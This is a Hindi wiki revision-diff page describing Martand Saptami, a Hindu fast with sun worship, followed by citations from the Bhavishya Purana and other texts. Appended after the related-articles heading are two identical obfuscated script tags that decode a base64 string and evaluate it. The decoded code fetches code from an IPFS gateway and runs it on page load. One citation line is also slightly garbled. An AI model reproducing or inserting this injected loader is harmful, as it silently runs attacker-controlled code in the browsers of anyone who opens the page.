"मार्तण्ड सप्तमी" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - " {{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "")
छो (Text replace - "उल्लखित" to "उल्लिखित")
पंक्ति 1: पंक्ति 1:
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित [[हिन्दू धर्म]] का एक व्रत संस्कार है
+
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है
 
*यह व्रत [[पौष माह|पौष]] [[शुक्ल पक्ष|शुक्ल]] [[सप्तमी]] से प्रारम्भ होता है।  
 
*यह व्रत [[पौष माह|पौष]] [[शुक्ल पक्ष|शुक्ल]] [[सप्तमी]] से प्रारम्भ होता है।  
 
*उस दिन उपवास; 'मार्तण्ड' नाम लेते हुए [[सूर्य देवता|सूर्य]] पूजा करता है।
 
*उस दिन उपवास; 'मार्तण्ड' नाम लेते हुए [[सूर्य देवता|सूर्य]] पूजा करता है।

18:35, 25 फ़रवरी 2011 का अवतरण

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है
  • यह व्रत पौष शुक्ल सप्तमी से प्रारम्भ होता है।
  • उस दिन उपवास; 'मार्तण्ड' नाम लेते हुए सूर्य पूजा करता है।
  • अपने को शुद्ध करने के लिए कर्ता को गोमूत्र या गोबर या दही या दूध ग्रहण करना चाहिए।
  • दूसरे दिन 'रवि' नाम पर सूर्य पूजा करनी चाहिए।
  • इसी प्रकार वर्ष भर प्रत्येक मास में दो दिनों की विधि तथा एक दिन एक गाय को घास आदि खिलाना चाहिए।
  • ऐसी मान्यता है कि ऐसा करने से सूर्य लोक की प्राप्ति होती है।[1]; [2], [3]

 


टीका टिप्पणी और संदर्भ

  1. भविष्य पुराण (1|109|1-13)
  2. हेमाद्रि (वत0 1, 75ा है।-755)
  3. कृत्यकल्पतरु (नैयतकालिक काण्ड, 147-148

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>